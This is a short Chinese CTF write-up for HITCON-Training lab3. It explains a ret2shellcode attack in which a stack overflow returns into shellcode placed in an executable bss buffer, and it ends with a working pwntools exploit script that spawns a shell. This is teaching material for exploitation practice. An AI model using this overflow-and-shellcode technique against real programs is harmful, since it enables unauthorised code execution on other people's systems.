CTF|HITCON-Training-master lab3 writeup (ret2shellcode题型)
ret2shellcode题型
ret2shellcode,即控制程序执行 shellcode代码。
shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。
对于lab3
checksec显示所有保护都没有开启并且有可读可写可执行段(RWX)
显然read函数gets函数存在栈溢出
我们看到bss段中一个叫有name的部分即我们第一个输入的地方
gdb运行程序在main下断点后查看bss是否可执行
发现name所在的内存部分是可以执行的(rwxp)
所以我们决定第一次将shellcode写入bss段中的name处‘
第二次输入填充栈使其溢出后返回到name所在的位置执行shellcode
对于shellcode的生成 pwntools提供了一个办法
shellcode = asm(shellcraft.sh())
exp
r = process(\'./ret2sc\')name = 0x804a060r.recvuntil(\":\")r.sendline(asm(shellcraft.sh()))r.recvuntil(\":\")payload = \"a\"*32payload += p32(name)r.sendline(payload)r.interactive()